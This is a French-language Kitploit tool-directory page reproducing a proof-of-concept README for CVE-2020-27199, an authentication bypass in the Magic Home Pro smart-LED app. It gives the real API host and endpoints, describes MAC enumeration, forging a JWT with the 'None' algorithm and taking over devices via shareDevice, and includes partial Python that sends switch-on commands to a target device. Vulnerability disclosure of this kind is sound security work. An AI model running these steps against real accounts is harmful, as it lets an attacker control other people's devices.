Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
Outils/GitHubGitHub/9lyph/cve-2020-27199
ReconnaissanceSécurité IoTExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionSécurité MobileAuthentificationDéveloppement de Charges Utiles
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

711il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2020-27199 (Magic Home Pro - Authentication Bypass)

magic-home-pro

Plusieurs vulnérabilités ont été découvertes dans l'application mobile Magic Home Pro utilisée pour interfacer avec le kit RGB LED Strip JadeHomic. La plus significative de ces vulnérabilités est un contournement d'authentification (CVE-2020-27199), qui permet en fin de compte la prise de contrôle totale d'un groupe entier d'appareils d'une victime.

  • Les éléments ci-dessous détaillent les étapes d'énumération qui mènent à l'exploitation finale et au matériel de preuve de concept utilisé pour réaliser l'énumération et l'exploit final.

Fichiers de PoC

magichome-forge.py - Forgeur de JWT, utilisé pour automatiser la prise de contrôle des appareils

magichome-sniffer.py - Sniffeur réseau local qui recherche les appareils vulnérables sur le réseau. Construit une liste d'appareils contre lesquels des attaques peuvent être lancées

magichome-switch.py - Permet l'allumage des appareils

magichome-takeover.py - Charge utile permettant la prise de contrôle réussie du compte d'un utilisateur

Travail préparatoire à la découverte

  • Android rooté
  • Contournement de la détection de root via patching, re-signature du JAR et reconstruction de l'APK (obligatoire)
  • Contournement du certificate pinning Frida à la rescousse (obligatoire)

Application

Magic Home Pro

Fournisseur du produit

JadeHomic

Propriétaire du contrôleur WiFi

Suzhou SmartChip Semiconductor Co.,Ltd

Site Web du fournisseur

JadeHomic

Référence(s)

Mitre

Exploit-db

SpiderLabs Blog

Base de code produit affectée

Magic Home Pro

Description

Base URL: wifij01us.magichue.net

Énumération

Cette vulnérabilité permet à tout utilisateur authentifié d'utiliser son niveau d'autorisation actuel pour interroger des points de terminaison ne faisant pas partie de ses produits enregistrés, via un appel API à /app/getBindedUserListByMacAddress/ZG001?macAddress=<adresse mac>. Cela entraîne une réponse HTTP qui indique l'existence du point de terminaison et renvoie le nom d'utilisateur, l'identifiant unique utilisateur (userUniID) et l'identifiant unique lié (bindedUniID) du point de terminaison associé.

En utilisant l'interrogation ci-dessus, un attaquant peut ensuite utiliser une requête POST non autorisée vers l'API /app/sendCommandBatch/ZG001, en utilisant l'adresse mac nouvellement énumérée pour envoyer des commandes au point de terminaison distant en utilisant des commandes hexadécimales compatibles 71230fa3 et 71240fa4, entraînant respectivement l'allumage et l'extinction.

Forgeage de JWT basé sur les détails recueillis ci-dessus

Une fois l'énumération initiale terminée, il est également possible de forger un JWT en utilisant le userID et l'uniID dans les données de la charge utile du JWT, ce qui a pour effet de rétrograder le jeton pour utiliser 'None' comme algorithme dans la section d'en-tête du JWT (vulnérabilité de contournement de signature). En utilisant cette vulnérabilité, l'application est susceptible d'être prise en contrôle par un attaquant via l'appel API distant vers /app/shareDevice/ZG001 et en utilisant le paramètre JSON friendUserID pour ajouter l'appareil à la liste d'appareils de l'attaquant, donnant ainsi à ce dernier un contrôle total sur l'appareil cible.

Crédit(s) :

  • Medium
  • JWT_TOOL - ticarpi

Type de vulnérabilité

  • Contournement d'authentification
  • Divulgation d'informations
  • Accès non autorisé
  • Élévation de privilèges horizontale

Informations supplémentaires

OUI

L'OUI décrit l'identifiant unique d'organisation pour les adresses MAC enregistrées auprès d'une organisation. Dans le cas de JadeHomic, l'OUI magique est C8:2E:47, où les trois premiers octets correspondent au fabricant et les trois seconds octets au numéro de série attribué par le fabricant. Dans notre cas, l'identifiant du fabricant est enregistré auprès de Suzhou SmartChip Semiconductor Co., LTD.

Autre impact CVE

Permet le contournement d'authentification de l'application mobile Magic Home Pro et donc le contrôle total de l'ensemble du groupe d'appareils d'un utilisateur victime.

Vecteurs d'attaque

  • Utilisateur authentifié requis
  • Énumération réussie du système existant
  • Envoi ultérieur de commandes par lots à un point de terminaison distant
  • Prise de contrôle de l'appareil
  • Contournement d'authentification

Exploit d'énumérateur et de commande batch du PoC

La preuve de concept énumère les derniers octets dans la plage MAC et renvoie les résultats. Elle permet de tester l'« exécution à distance » si vous vous sentez audacieux.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

Télécharger l’outil